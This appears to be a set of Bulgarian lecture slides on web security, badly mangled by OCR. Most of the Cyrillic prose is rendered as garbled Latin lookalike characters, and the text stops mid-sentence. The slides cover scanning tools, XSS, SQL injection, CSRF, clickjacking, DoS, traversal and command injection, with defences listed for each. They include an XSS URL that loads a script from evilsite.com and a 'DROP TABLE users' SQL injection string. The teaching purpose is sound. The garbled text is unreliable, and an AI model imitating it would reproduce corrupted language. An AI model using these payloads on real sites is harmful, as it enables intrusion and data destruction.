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3aluTa Ha caiToBeTe

CurypHocTTa Ha yebcailTa M3auckBa 6AUTENHOCT BbB
BCWYKM aCMeKTW Ha An3aiiHa 1 U3N0n3BaHeTOo Ha
yebcaiTa. TyK Le pasrnegame 0TKbAe WABAT 3annaxute
KaKBO MOXETe [la HanpaBuTe, 3a Aa NOACUTYpUTE BaLLETO
yeb NPUNOXKEHNE CPeLLly Hal-4eCTo CpeLlaHnTe aTaki.




BrnBeseHue

KakBo npecTaBnsiBa CHrypHOCTTa Ha yebcaiita?:

HTepHeT e onacHo MACTO! PeJOBHO CyLlame 3a yebcalToBe, KOUTO CTaBaT HEAOCTbIMHM
nopaau ataku Tvn "denial of service" unu nokasgaluy MoanduLMpaHa (1 4YeCTo NOBPeAeHa)
MHMOPMALIMA Ha HaYaNlHWTE CU CTPaHuLW. B opyrv cnyvyan MUIMOHM Naponu, UMen agpecu 1
[aHHV 33 KPeAUTHWU KapTu ca 13TeKIN B NyO6INYHOTO NPOCTPAHCTBO, U3Naraiku
NoTpeduTeNnTE Ha yebCcanToBe Ha GUHAHCOB PUCK ... HEPSALKO CPaM.

LlenTa Ha curypHocTTa Ha ye6caiiTa e fa npefoTBpaTth Tean (Mnn BCAKaKBM) BUAOBE aTakM.
[No-opuumanHaTa AeuUHULMA Ha CUTYPHOCTTa Ha yebcaiTa e JeMCTBMETO/NpaKT1KaTa 3a
3allMTa Ha yebcaiToBeTe OT HEOTOPU3MPaH AOCTbI, U3M0N3BaHe, MOAN(DUKALILS,
YHULLIOXXaBaHe UNn HapyLlaBaHe.




BrnBeseHue

EdekTBHATa CUTYPHOCT Ha yebcaiTa M3MCKBA LSANIOCTHU YCUANS 3a NPOEKTUPAHE: BbB
BALLETO Yeb NPUIOoXEHNe, KOHPUIypaLumusaTa Ha yeb CbpBbPa, NOAUTUKUTE 33 Cb3aBaHe
NOAHOBSABAHE Ha NMaposinM 1 KOAa OT CTPaHa Ha KJIMeHTa. Bbnpekun 4e BCUYKO TOBA 3BY4M
MHOTI0 CTAICKALL, J06paTa HOBMHA €, Ye ako 13Mo/i3BaTe yeb pamka 0T CTPaHa Ha CbpBbPa, T4
NOYTK CUTYPHO LLie aKTMBMpa M0 NoapasbupaHe” CTabunHn 1 Jo6pe 06MUCTEHN 3aLLUNTHM
MexXaHu3MW, CpeLLy peauLa no-4ecTo cpeLlaHy ataku . [lpyru ataku moraT aa 6baar
CMeKYaBall, GakTop Npu KOHQUrypaumsaTa Ha Halwus yeb CbpBbP, HANPUMEP Ypes akTUBMpaHe
Ha HTTPS. Hakpas, uma ny6anyHo JOCTBMHU MHCTPYMEHTK 3@ CKaHMPaHe Ha YA3BUMOCTH,
KOWTO MOraT Aia HU NOMOTHaT Aa pasbepeTte Aanu CTe HanpaBuin O4YEBUIHN TPELLKM.




WHCTpYMEHTYM 33 npoBepKa
Ha yeb caifT CUrypHOCTTa

https://sitecheck.sucuri.net > Moxere ga HanpaBuTe 6bP3 TECT 3a 3/10HAMEPEH COPTYED,

CTaTyC B YePeH CrinCbK, nHxektnpaH CITAM n nospesm.

https:/www.ssllabs.com/ssltest/ > Qualys e 0T CbLeCTBEHO 3HaYeHKe 3a CKaHMpaHe Ha Ballus yebcainT 3a
SSL/TLS HenpaBuiHa KOHOUrypaLums u ys3sBuMocTy. To NpejocTaBs 3aib/100YEH aHann3 Ha Ballug
https:// URL agpec, BKIKOUYNTENHO AEH Ha U3TKU4YaHe, obLia oueHka, koa, SSL/TLS Bepcus, cumynawum,
noapo6HOCTK 3a NPOTOKONA, 1 MHOTO Apyru. [lobpa npakTuka e Aa ctapTupate TecTa Ha Qualys, cnef kato
HanpaBuTe KaKBUTO W a e NPOMeHK, CBbP3aHu ¢ SSL/TLS.
https://hostedscan.com/?utm_source=geekflare&utm_medium=toplist&utm_campaign=online-scan >
OHMAMH ycnyra, KOATO aBTOMAaTK3KpPa CKaHMPAHETO Ha YSI3BUMOCTM 3@ BCekM B13HeC. Ta NpeaocTaBs
n34yepnarteneH Habop OT CKEHepy Ha MPeXH, CbPBBPM 1 yebcailToBe 3a PUCKOBE Ha CUTYPHOCTTA.
YnpaBnsBaiiTe pyckoBeTe CY Ypes TaboTo 3a YnpaBfeHue, OTYETH U CUTHAMN.

Quttera: https://quttera.com/ > ckaHupa yebcaiiTa 3a 310HamMepeHn GainnoBe, NOA03PUTENHM (aliNoBe,
noTeHUuanHo nogo3putentn daiinose, PhishTank, 6esonacHo cbpdupare (Google, Yandex) 1 cnmcbk ¢
[OMEVHN 3710BpefieH codTyep.




WHCTpYMEHTYM 33 npoBepKa
Ha yeb caifT CUrypHOCTTa

Intruder: https:/www.intruder.io > moieH 06/1a4eH ckeHep 3a ya3BUMOCTH M HAMUPAHEe Ha c1abocTh B
Lysnata MHQpPacTPyKTypa Ha yeb NpuioxeHnaTa. Tov npejnara MaluMHa 3a CKaHMpaHe 3a CUrypHoOCT Ha HUBO
npaBuUTENCTBa M 6aHKK, HO 6e3 BUCOKaA CIoXHOCT (Missing patches, Misconfigurations, Web application issues
such as SQL injection & cross-site scripting, CMS issues).

UpGuard: https://webscan.upguard.com/ > e BbHLIEH MHCTPYMEHT 3a OLEHKa Ha pucKa, KOMTO 13Mon3Ba
Ny6/MYHO JOCTbINHA MHAOOPMALMS 3a OLeHKa.

SiteGuarding: https://www.siteguarding.com/en > nomara aa ckaHupame aomeiiHa 3a 3/I0HamMepeH
COQTYEp, YEpPeH CNNCHK Ha yebCanToBe, MHXEKTUPAH Cnam, 1 MHOIOo Apyri. CKEHePbT € CbBMECTUM C
WordPress, Joomla, Drupal, Magento, osCommerce, Bulletin v gpyrn nnatpopmm.

Observatory: https://observatory.mozilla.org/ > Mozilla Hackopo npefcTaBy MHCTPYMEHT, KOWTO NoMara Ha
COOCTBEHVKA Ha CaiTa [la NpoBepsiBa pPasfiyHu eNeMeHTU OT CUIYPHOCTTA. ToW NOTBbPXK/AaBa 3alluTaTa
Ha OWASP xefbpu, Haln-1o6puTe NpakTUKK Ha TLS v M3BbpLLIBA TECTOBE Ha TPeTH CTpaHu oT SSL Labs,
High-Tech Bridge, Security Headers, HSTS Preload u ap.




WHCTpYMEHTYM 33 npoBepKa
Ha yeb caifT CUrypHOCTTa

Web Cookies Scanner: https://webcookies.org > 6e3r11aTeH UHCTDYMEHT 3a CUTYPHOCT T "BCUYKO B €[HO",

MOAXOAALL 3a CKaHMpaHe Ha yeb npuioxeHuns. Moxe fja Tbpcu ysa3BUMOCTY 1 POGIIEMU C TOBEPUTESIHOCTTA
Ha HTTP éuckeutkn, HTML5 localStorage, sessionStorage, Supercookies n Evercookies. MIHCTpyMEHTBT ChlL0
Taka npejnara 6esrnnateH CKeHep 3a 3710HamepeH copryep 3a URL agpecy n ckeHep 3a HTTR HTML
SSL/TLS yassumocTy.

Detectify: https:/detectify.com/ > HanbnHo nogabpxaHa oT eTnyHKM Xakepu, ycnyrata Detectify 3awimtaBa
[IOMEVIHN 1 yeb NPUNOXEHNS 1 Npeanara aBToMaTu3npaH MOHUTOPUHT Ha CUTYPHOCTTA W aKTUBUTE 33
OTKpuBaHe Ha noseye oT 1500 yA3BNMOCTH.

Probely: https:/probely.com/ > npegocraBs cnewunanncT No BUPTYanHa CUrYPHOCT, KOWTO MOXETE Aa
[06aBuTE KbM BaLLKA €KUM 3a pa3paboTka, eKMn No curypHocTTa, DevOps nnu SaaS 6usHec. Ton Le
CKaHWpa BaLIeTo yeb NpUIOXKEHNE 1 LLie HaMepy BCUYKUTE MY yS3BMMOCTU. MoxeTe fa MuciuTe 3a Probely
KaTO 3@ CEMEEH Nekap, KOTO AaBa NepuoanyHa AMarHoCTVKa U HU Ka3Ba KakBO [ja NpaBuM, 3a Aa
OTCTPaHMM [1afieH NPOBIEM.




WHCTpYMEHTYM 33 npoBepKa
Ha yeb caifT CUrypHOCTTa

Pentest-Tools: https:/pentest-tools.com/website-vulnerability-scanning/website-scanner > CkeHepbT 3a

YSI3BMMOCT Ha yebcaliTa e n3vepnarteneH Habop OT MHCTPYMEHTK, Npefiaradn ot Pentest-Tools, kouTo
BKJTHOYBAT PELLUEHNE 3a CbOMpaHe Ha MHpOPMaLWs, TeCTBaHe Ha yeb npunoxeHus, CMS TecTBaHe, TeCTBaHe
Ha MHPpacTpyKTypa v SSL TecTBaHe. lNo-cneumnanHo, CKEHePbT Ha yebcaiToBe e NpeAHa3Ha4yeH a OTKPMBa
YeCTO CpeLLlaHmn yS3BMMOCTY Ha yeb NPUoXKeHNATa U NpobneMu ¢ KOHOUrypaLumsaTa Ha CbpBbpa.
ImmuniWeb:https:/www.immuniweb.com/websec/ > EavH oT nonynspHuTe CKeHepw 3a CUTYpHOCT Ha
yebcainToBe, ImmuniWeb, npoBepsiBa Balums CaiiT cnpsiMo cnegHute cTaHaapTv: CboteetcTBMe ¢ PCI DSS 1
GDPR, HTTP xegbpw, BkntountenHo CSP, CMS cneumnduyeH Tect 3a WordPress  Drupal caiiToBe, KakTo
YSI3BMMOCTM Ha HMBO front-end.

WordPress Security Scanner: https://gf.dev/wordpress-security-scanner > nposepete Ha WordPress
CcaiiTa H¥ 3@ U3BECTHU YA3BUMOCTY.
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Cross-Site Scripting (XS3)

BHumaHue: B victopunyecku nnaH XSS ys3BUMOCTHTE ca
Hal-4ecTus TN 3ansaxa 3a CUrypHocTTa.
XSS e TepMuH, 13M0N3BaH 3a OMMUCaHWe Ha Kac aTtaku, KOWTO No3B0OIABAT Ha
HanagaTens aa BHeapu client-side ckpun npes yebcaiTa B 6pay3bpa
Ha NoTpebuTenuTe.

©

@




Cross-Site Scripting (XS3)

Tbil KaTO MHXEKTUPaHWUAT KOA UBa B 6pay3bpa OT CaiTa, CKPUNTLT Ce NpuemMa 3a A0BEPEH U MOXe
[la NPaBy Hellla KaTo 13npallaHe Ha BUCKBUTKATA 3a YMbIHOMOLLIABAaHe OT NOTPebUTENs A0 xakepa.
KoraTto Hanagatensr nonyyu 61CKBUTKATa, TOW MOXE [a Bfieae B CaiiTa, cakalll e noTpebutenarn ga
HanpaBy BCUYKO, KOETO NMOTPEOUTENAT MOXKE, KaTo HanpumMep Aa A0CTbMM AaHHUTE 33 KpeauTHaTa
KapTa, Aa BUAW AaHHMTE 3a KOHTAKT UK [a NPOMeHM naponunTe. XSS y43BMMOCTUTE ca pasieneHu

Ha oTpaseHu (reflected) 1 noctosHHK (persistent), Bb3 0OCHOBa Ha TOBA KaK CaiTbT BpbLLA
NHXEKTUPaHUTE CKPUNTOBE B bpay3bpa. OTpaseHa XSS yA3BMMOCT Bb3HUKBA, KOraTo
NOTPEBUTENICKOTO ChbPXaHMe, KOETO Ce NpefjaBa Ha CbPBbpPa, Ce Bpblia He3abaBHO U He €
MOANOULMPAHO 3a NOKa3BaHe B 6pay3bpa. BCUUKM CKpunToBe B OPUrMHANHOTO NOTPEOUTENCKO

CbAbPXaHMWE LLe Ce N3NBHAT, KoraTo Ce 3apefun HoBaTa CTpaHuua. Hanpumep, fa KaxeM ve nMmame

(QYHKLUMS 32 TbPCEHE B CaiiTa, KbAETO AYMUTE 3a TbPCEHE Ca KoAupaHu kato URL napameTtpu n Tesu
TEPMUWHU Ce NOKa3BaT 3aeflHO C pesyntatute. HanaaaTtenar MoXe fa cb3faze search link, koaTo aa

CbAbpyKa 3/10HaMepeH CKPUNT KaTo napameTbp.




Cross-Site Scripting (XS3)

Hanp. http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></ script>) u ga ro
N3MnpaTu Npy HaTUCKAHETO /i Mo MMEN [0 Apyr noTpebuTen. ToBa AaBa Ha HanagaTtens uanaTa
MHDOPMaLWS, OT KOATO Ce HYX/ae, 3a [la Be3e B CaiiTa KaTo LiefieB1 NOTPebuTen, Kato
NOTEHLMANHO NPaBW NOKYNKK KaTo NOTpebuTen unv cnogens MHQopMaLmsaTa Cu 3a KOHTaKT.

MocTosHHa (persistent) XSS ya3BUMOCT BH3HMKBA, KOraTo 310HAMEPEHMAT CKPUMT Ce ChXPaHsBa
Ha yebcaliTa v cnej ToBa No-KbCHO Ce NMoKa3Ba HEMPOMEHEH 3a ApYri NOTPeOUTENN, KOUTO HEBOJTHO
ro n3nbaHaBaT. Hanpumep, aMckycuoHHa abcka (discussion board), koATo npueMa KOMeHTapu,
CbhAbpPXaLy Hemogudpuumpas HTML, Moxe a CbXxpaHsBa 3110HaMepeH cKpunT. Korato ce nokaxart
KOMEHTapuTe, CKPUNTBHT CE U3MbJIHABA 1 MOXE [a U3MpaTh Ha Xxakepa nHGopMaLmsaTa, He06XxoanMa
3a I0CTbM []0 akayHTa Ha noTpebutend. To3u Bij ataka e U3KMOUYUTENHO NONyAspHa U MOLLIHA, Tbil
KaTo "HanafaTensdT MOXe [OpW Ja HAMA NPSK aHraXMEHT C XXepTBUTE.




Cross-Site Scripting (XS3)

[okato paHHute oT POST wnm GET 3agBKMTE Ca HaW-4eCcTo CPeLlaHUsT M3TOYHMK Ha XSS @
YA3BMMOCTM, TO BCMYKM OCTaHanM CbLIO Ca MNOTEHLUMANHO YA3BUMW. AaHHW 3@ OUCKBUTKMY,
n3o06paseHn 0T 6paysbpa, WM NOTPebuTencku ¢ainose, Kouto ce upload-BaT v nokasear.

Haii-nobpata 3awmta cpeuly XSS yaA3BMMOCTM € Aa NpemMaxHeTe WAy AeakTUBMpaTe BCSKO
MapKupaHe, KOeTO MOTEHLMANHO MOXe Aa CbAbPXKa MHCTPYKLWM 3a M3MbAHEHWE Ha Koaa. 3a
HTML ToBa BK/IHOYBA  €NIEMEHTW, KaTo  <script>,  <object>, <embed> wu  <link>.

MpouecbT Ha MoaudULMpaHe Ha NOTPeOMTENCKN AaHHK, TaKa Ye Aa He MoraT jia ce U3non3sar
3a M3Nb/IHEHWe Ha CKPUNTOBE WAM MO APYr HauMH fAa NOBAMSIAT HAa MW3MbJIHEHMETO Ha
CbPBbPHUS KOJ, € U3BEeCTeH KaTo caHuTu3upaHe Ha Bxoga (input sanitization). Muoro ye6
PaMKM  aBTOMATUYHO CaHUTM3MPAT BXOAA MO MoApasbupaHe OT noTpedutens Ha HTML
QopmynsapuTe.
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SQL injection

SQL injection ya3B1MOCTWTE NO3BOSBAT Ha 3/I0HAMEPEHUTE NOTPEOUTENN Aa
N3NbAHABAT NponsBoneH SQL Kof/3aaBkK B 6aszaTa AaHHW, NO3BOABARKM
AOCTBM [0 MHDOPMaLWS, NPOMSHA UK U3TPUBAHE, HE3aBUCKUMO OT
paspelleHnaTa Ha NoTpebuTens.




SQL injection

YcrnewHa aTaka 4pe3 SQL injection MOxe fa nognpasu CaMOMIMYHOCTW, Aa Cb3Aaje HOBM
CaMOJIMYHOCTH C NpaBa 3a afiMUHUCTPUPaHe, Aa Nnoayyn 4oCTbM A0 BCUYKM aHHKM HA CbpBbPa UK
[a YHULLOXW/NPOMEHW IaHHUTE, 3a Aa M1 Hanpasu HEW3MNON3BaEMMU.

Tunosete SQL injection BkniouBat Error-based SQL injection, SQL injection ocHoBaHa Ha
nornyecku rpewku u Time-based SQL injection.

Tasn yA3BUMOCT e Hanule, ako BXofa Ha noTpebuTens, KOMTO ce npeaaBa KbM 6a30B SQL 13pas,
MOXe [1a NPOMEeHW 3Ha4YeHMeTO Ha n3pasa. Hanpumep, CnefHnaT Kog e npefHasHayeH [a BbpHe
BCUYKM NOTPEOUTENN C KOHKPETHO UMe (userName), KoeTo e npeaoctaseHo oT HTML dhopmynap:
statement = "SELECT * FROM users WHERE name = '" + userName + "';"
AKO MOTPEBbUTENST NOCOYN UCTUHCKO MME, N3ABNIEHWETO Lie PaboTy Mo NpeaHasHaveHne. Bbripeku
TOBA, 3/I0HAMEPEH NOTPEBUTEN MOXE HAMBHO [Ja NPOMEHN NoBeAeHneTo Ha T03n SQL n3pas KbM
HOBWS 13pa3 B CNeABaLLMsA MPUMEP, KaTo NOCOYM TEKCTA B yaebeneH WpnudT 3a userName..




SQL injection

SELECT * FROM users WHERE name = 'a’;DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't;
MoanduumpaHnaT wn3pa3 cb3gaBa BanuaHa SQL  3asBKa, KOSATO M3TpWBa Tabnuuata C
NoTPEGUTENN 1 N36MPa BCUYKM JaHHK OT Tabnuuata userinfo, (koATO pa3kpuBa nHdopMaLmaTa 3a
BCeKV nNoTpebuTen). ToBa paboTH, 3aLLOTO MbpBaTa YacT OT MHXEKTUpaHUs TekcT (a';) 3aBbpLUBa
OPUIHANHWA 13Pas.

3a [a u3berHete TO3W BW[ ataka, TpsibBa [a rapaHTupate, Ye BCUYKM MOTPEOUTENICKU AaHHW,
KOWTO ce npefaBat KbM SQL 3asBKa, He MOraT Aa NPOMEHAT eCTeCTBOTO i. EAVH OT HaunHWTe 3a
TOBa € Aa ‘escape’-BaTe BCMYKW 3HALW BbB BXOAa Ha MOTPEOUTENS, KOUTO MMAT CheumanHo
3HayeHwve B SQL.

Buumanume: SQL onepaTtopbT TpeTupa CMMBOMA ' KAaTO Havyano M Kpan Ha HW30B nuTepan. AKo
nocTaBMM obpaTHaTa HakNOHeHa YepTa npef To3u 3Hak (\), To Hue Wwe “escape’-Hem/duntpupame
CMMBONa 1 Ka3BaMe Ha SQL BMEeCTO ToBa Aa ro TpeThpa KaTo 06MKHOBEH 3HaK (4acT OT HK3a).




SQL injection @

B crnenBallarta 3asBKa HMB LLe nponycHeM cuMBona ‘. SQL Beye e MHTeprnpeTupa UMETO KaTo Lienus

HW3 C yaebeneH WpugT:
SELECT * FROM users WHERE name = 'a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t';

PaboTHWTE yeb paMKi YeCcTO camu Ce rpuxkaT 3a ToBa QUNTPUpaHe.
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Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) nnn hanumduumpaHeTo Ha MexjycaitTosw
3as1BKW NPeICTaBNABAT aTaku, KOMTO NO3BOAABAT HA 3M10BPEAHN NOTPEOUTENN [1a
M3NbAHABAT ONepaLy Ypes N3Non3BaHeTo Ha Npasa OT Apyr NoTpeéuTen 6es
HEroBOTO 3HaHMWE W NO3BONEHME.




. Cross-Site Request Forgery (CSRF)

Tosn TuN aTaka Haii-aobpe ce 00siCHABa C npuMep. Heka npuemem, ye [XKOH e 3N10HAaMepeH
NoTPebuUTEN, KOWTO 3HaE, Ye KOHKPETEH CaiiT NO3BO/SABA HA BNMCAHW B CUCTEMATA NOTPeOUTeNN [a
n3npaLat napu KbM onpegesnieH akayHt, nsnonssaiku HTTP POST 3adBka, KOSTO BK/IHOYBA UMETO
Ha aKayHTa v cymata napu. [IKoH cb3aaBa GOPMYNsp, KOMTO BKIOYBA HErOBUTE 6AHKOBM AaHHW W
Cyma napu KaTo CKpUTK MofieTa M ro uanpalla no UMein Ao Apyrn notpebutenu Ha caiTa (¢
6yTOHa Submit, MackupaH KaTo Bpb3Ka KbM CaiiT 3a ,6bp30 3aborataBaHe”).

AKO noTpebuTen LpakHe Bbpxy 6yToHa 3a nanpatare, HTTP POST 3asiBKata Lie 6b/e nanpaTeHa
[0 CbpBbPA, ChAbpKaLla NOAPOOHOCTMTE 3@ TPaH3aKLUMATA U BCUYKKM BUCKBUTKM OT CTpaHa Ha
K/IMEHTA, KOMTO 6pay3bpbT acouumMpa Cbe caita (406aBsSHETO HA CBBbP3aHN BUCKBUTKM HA CailT
KbM 3asBKWTE € HOPMaHO NoBeAeHWe Ha 6pay3bpa). CbpPBbPBT LiE NPOBEPU OBUCKBUTKUTE W L
[M 13M0N3Ba, 3a Aa ONpefeny Aanu NoTPebuUTenaT e BNA3bA WKW He W Aanu MMa npaBa [a
M3BbBPLLUNM TPAH3aKLUMATA.




. Cross-Site Request Forgery (CSRF)

PesynTatbT e, Ye BCeKM NOTpedunTen, KOWTO LipakHe Bbpxy OyTOHa M3npallaHe, [oKaTo e BA3b/ B @
caiiTa 3a TbProBus, Le U3BBPLWKM TpaH3akumaTa v ... [I)KOH 3aboraTssa.

benexka: HomepbT TyK e, ye [IXKOH He TpsbBa Aa MMa [OCTbN A0 BUCKBUTKNUTE Ha NOTPebUTENS
(M MAEHTUOUKALMOHHM [aHHK 3@ A0CTbM). bpay3bpbT Ha MNOTPEGUTENS CbXpaHsiBa Tasu
MHAOPMALIMA U aBTOMATUYHO 5 BK/IKOYBA BbB BCUYKM 3a5IBKM KbM CBbP3aHNs CbPBbP.

EAMH OT HauMHUTE 3a NMpeAoTBpaTABaHe Ha TO3M TUM aTaKa e CbpBbLPLT Aa usuckea POST
3afBKMTe Aa BK/OYBAT cneuuduyHa 3a noTpebutens reHepmpaHa oT caita "TalHa'/Kniou.
Ta/Tol we 6bAe NpefocTaBeHa OT CbpBbpa NPy M3npawLaHe Ha yeb popmynspa, U3non3BaH 3a
U3BbpLIBaHE Ha TpaHcdepu. To3n noaxon He No3BoNsABa Ha [1KOH Aja cb3jaje CBOA COOCTBEHA
dopma, 3auL0TO TOM OM TpAGBaNO Aa 3Hae TaillHaTa, KOATO CbPBbPBT NpPefOCTaBA Ha
notpe6utens. [lopu fa oTKpue Knioya u fa cb3gaae popmynsp 3a KOHKpeTeH noTpeburen, Tou
Beye HAMA Aa MoOXe Aa u3nonsea cbuw,ata GopMa, 3a Aa atakyBa BCeKM notpeéburen.
Ye6 paMKu 4ecTo BK/IIOYBAT TaKUBa MeXaHM3MHK 3a npeBeHuus Ha CSRF.
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Clickjacking

[pn Ta3w aTaka 3N10HaMePEH NOTPebUTeN NpMXBaLla KNNKBaHUATa,
npegHasHayeHu 3a Buanumus top-level caiit v rv npeHacoysa
KbM CKpWTa OTA0NY CTPaHMLa.




Clickjacking

Tasn TeXHWUKA MOXE A Ce M3M0M3Ba HanpuMep 3a NoKasBaHe Ha NernTUMeH 6aHKOB CaitT, KOWTO
NpuabIrBa NOTpedbuTeNnd fa ce MAeHTUdMULMpa C JaHHW 3a BXOA, KOWTO BeAHara ce npuxealla ot
HeBMUAMM <iframe>, KOHTPoAMpaH oT HanaaaTtens. Clickjacking Moxe cbli0 Aa ce 13Mnon3ea, 3a Aa
Hakapa noTpebuTens fa LpakHe BbPXy OYTOH OT BUAWMWS CalT, KOMTO M3MbIHABA CbHBCEM
pas3nuuHa (YHKUMOHANHOCT. KaTo 3aluTa, HMe MOXEeM JAa NpPeAocTaBUM MexaHu3bMm 3a

NPeBEHUMST Ha BrPaXAaHEToO Ha yeb MPUIOXKEHMETO HW B iframe Ha Apyr caiT, KaTo 3ajajem
nogxofdawmte HTTP xeabpu.
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Denial of Service (DoS)

DoS 06MKHOBEHO Ce MOCTUra Ypes npeToBapBaHe/60MbapanpaHe Ha LeneBu canT
C GanwuBy 3aABKK, Taka Ye JOCTbMBT A0 CalT Aa 6bAe NPEKbCHAT 3a
NeruTUMHUTE NOTPEBUTENN.




Denial of Service (DoS)

3asBKUTE MOXE [1a Ca MHOTOBPOMHM UK NOOTAENHO [1a KOHCYMUPAT rofeMn KOMYecTBa pecype
(HanpumMep 6aBHO YeTeHe WAM KauyBaHe Ha ronemy dainose). 3awuTute 0T DOS 06MKHOBEHO
PAbOTAT ype3 MAeHTUOULMPaHe W ONOKMPaHe Ha ,Jowua” Tpaduk, KaTto CblEBPEMEHHO
NO3BOMABAT NPEMWUHABAHETO Ha NErMTUMHKU CbOOLLEHUS. Tesn 3alnTi 0OUKHOBEHO Ce HamupaT
npean unu B yeb cbpBbPa (Te He Ca YacT 0T CaMOoTO Yeb NMPUNOXKEHME).




CS 2021/22

Directory Traversal (File and disclosure)

DoS 06MKHOBEHO Ce MOCTUra Ypes npeToBapBaHe/60MbapanpaHe Ha LeneBu canT
C GanwuBy 3aABKK, Taka Ye JOCTbMBT A0 CalT Aa 6bAe NPEKbCHAT 3a
NeruTUMHUTE NOTPEBUTENN.




@® Directory Traversal (File and disclosure)

[pn Tasn ataka 3noHaMepeH NoTpeduTen ce ONuTBa fa Nonyyu AOCTbM 40 YacTu OT (ainoBaTa
CUCTEMa Ha yeb CbpBbPA, A0 KOMTO He B TPA6BaANo Aa MMa JOCTbM. Tadn yA3BUMOCT Bb3HUKBA,
KOraTo MOTPebUTENAT MOXe [a npefjaBa MMeHa Ha (alnoBe, KOMTO BK/IOYBAT CNeLnanHu 3a
HaBuraumsa Ha QaiinosaTa cucTema 3Hauy, (Hanpumep ../../). PelleHneTo e Aa caHuTU3Mpame
BX0fa, Npeam fia ro n3nosisBame.




CS 2021/22

File Inclusion (u3nbnHexne Ha dain)

[pu Tasn aTaka NOTPEOUTENAT MOXE 1a NOCOYM "HenpeaHamepeH” Gaiin 3a
BM3yannsauns nam n3nbaHeHne Ha AaHHK, NpefiaBaHn Ha cbpBbpa. KoraTo ce
3apeau, To3K Qaitn Moxe aa 6b/ie U3NbJIHEH Ha Yeb CbPBbPa WK OT CTPaHa Ha
KnneHTa (K0eTo BoaM A0 XSS aTaka). PelleHneTo e 0THOBO CaHUTU3MpaHe Ha
BX0Za, Npeau fa ro 06paboTuM.




CS 2021/22

Command Injection

AtakuTe ype3 command injection N03BONABAT Ha 3/10HAMEPEH NOTPeOUTEN [1a

N3MNbJIHABA NPON3BOJTHN CUCTEMHW KOMaHW B onepauynoHHaTa CUCTEMa Ha XOCTa.

PelleHneTo e fa ce CaHUTU3NPa BbBEAEHUAT OT I'IOTpe6VITeﬂFI BXOA, npean fa ce
N3MoJ1I3Ba B CUCTEMHN N3BNKBaHNA.




oyt BCKYKM NPobKBKM B cUrypHOCTTa (Security exploits), onucaHn B NpeaulHUTE cnaifoBe ca
YCMELLIHW, KoraTo yeb NPUNoXeHUETo Ce A0BEPSBa Ha [JaHHWTe, naBaliy oT 6paysbpa. KakBoTo u
[la NpaBuTe, 3a Aia NOA0OPUTE CUTYPHOCTTA Ha Ballns yebcaiT, TpabBa Aa CaHUTU3MpaTe BCUYKM
[aHHK, NPOM3XOXAallW OT NOTPeduTens, Npean Aa rv NokaxeTte B 6pay3bpa, Aa v 13non3eate B
SQL 3aaBKkMTE UM fa r1 NPEXBbPIMTE KbM KOMaH/M Ha OnepaLyoHHaTta uimn GainoaTa cucTema.
MpeaynpexpaeHune: Haii-BaXKHUAT YPOK, KONTO MOXETE [1a Hay4YuTe 3a CUTYpHOCTTa Ha yebcaiTa, e
HWKOra Aia He ce [0BepsiBaTe Ha [jaHHW OT 6paysbpa. ToBa BK/KOYBA, HO He Ce orpaHuyaBa Ao
naHHu B URL napametpute Ha GET 3asiBku, POST 3asBku, HTTP 3arnaBku 1 6BUCKBUTKM W KaYeHU
OT NOTpebuTensa (anose. BuHarv npoBepsiBaiTe u CaHUTU3MPaKTe BCUYKM BXOAALM [aHHK. 3a
ChXKaJleHne BMHarv TpsibBa fia Mpeanosarate Hav-yoLoTo.




[I,pym KOHKPETHW CTbNKKW 3a 34lll1Ta

M3non3eante no-epekTWBHO YyNpaBfieHWe Ha naponu. HacbpyaBaidTe CUAHWM NapoSn.
[omucneTe 3a ABY(QaKTOPHO YAOCTOBEpsBaHE 3a Balus caiiT (two-factor authentication),
Taka Ye B [AOMbJIHEHME KbM Maposa, NOTpebutensT TpsbBa Aa BbBede ApYyr Kof 3a
yaoocToBepsiBaHe (06MKHOBEHO TakbB, KOMTO Ce A0CTaBs Upes HAKaKbB GU3nNYeckn xapayep,
KOWTO Lle “Mma caMO MOTPeBUTENsT, KaTo Hanpumep Koa B SMS, usnpaTeH [0 TeXHus
TenedoH).

3nonsgaite WHCTPYMEHTW 338 CKaHWMpPaHe Ha YA3BMMOCTM, 3a Ja W3BbpLIKTE
aBTOMAaTM3MPaHO TECTBAHE HA CUIYPHOCTTA Ha BaLLMA CaWT.




[I,pym KOHKPETHW CTbNKKW 3a 34lll1Ta

e KoH(urypupaiite Bawusa yeb cbpebp Aa nanonssa HTTPS n HTTP Strict Transport Security
(HSTS). HTTPS kpunTupa AaHHUTE, M3NPaTEHM MEeXAy Balins KAIMEHT U CbpBBLP. ToBa
rapaHT1pa, Ye AeHTUOUKALMOHHUTE AaHHW 3@ BXOA, BUCKBUTKITE, AaHHWTe 3a POST 3adBKM
N MH(DOPMaLMATa 3a XeAbpuTe He Ca NIeCHO AOCTbIMHKM 3a HamnagaTtenuTe.

e Cnefete Hai-nonynapHuTe 3annaxu (npernepaite Tekywy cnucbk Ha OWASP) 1 06bpHeTe
BHUMaHWe Ha Hall-4ecTo cpellaHuTe yassumocTy: https://owasp.org/www-project-top-ten/

e (bxpaHaBainTe 1 NMokasBanTe caMo [JaHHW, OT KOUTO Ce HyXx/aaeTe. Hanpumep, ako BaliuTe
noTpebuTenn TpsibBa fa CbXpaHAaBaT YyBCTBUTESIHA MHAOPMALMA KATO [aHHK 33 KpeauTHa
KapTa, MOKa)KeTe caMo [0CTaTb4yHaTa 4aCT OT HOMEPa Ha KapTaTa, 3a fla MOXe Td Aa bbae
MOeHTOULMPaHa OT NOTPedUTENS, a He LAnaTa, 3a Aa MOXe NpeaoTBpaTUTe KonnpaHe oT
3/10BPEAHN NMOTPEOUTENN, KOUTO [1a § U3MNON3BAT Ha APYr CaiT. Hail-4ecTo cpelaHuaT Moaen
B TO3¥ MOMEHT € [la Ce NMoKasBaTt camo nocnefHuTe 4 uudpu 0T HoMepa Ha kKaprara.

e Yeb paMKMTe MOraT fja NoOMOrHaT 3a NpeoTBpaTsBaHe Ha MHOMO OT Hal-YecTo CpeLjaHuTe
3/10HaMepeHn ataku!







Ye6 hopmMynspuTe ca MHOMO MOLLEH MHCTPYMEHT 3a B3aUMOAECTBME C noTpebuTenute. Haii-
YecTO Te Ce M3MoNn3BaT 3a CbOWpaHe Ha [aHHW OT MOTPebUTeNM WKW WM MO3BONABAT [a
